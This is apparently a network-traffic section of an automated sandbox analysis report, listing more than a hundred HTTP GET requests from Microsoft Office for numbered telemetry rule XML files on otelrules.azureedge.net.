Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
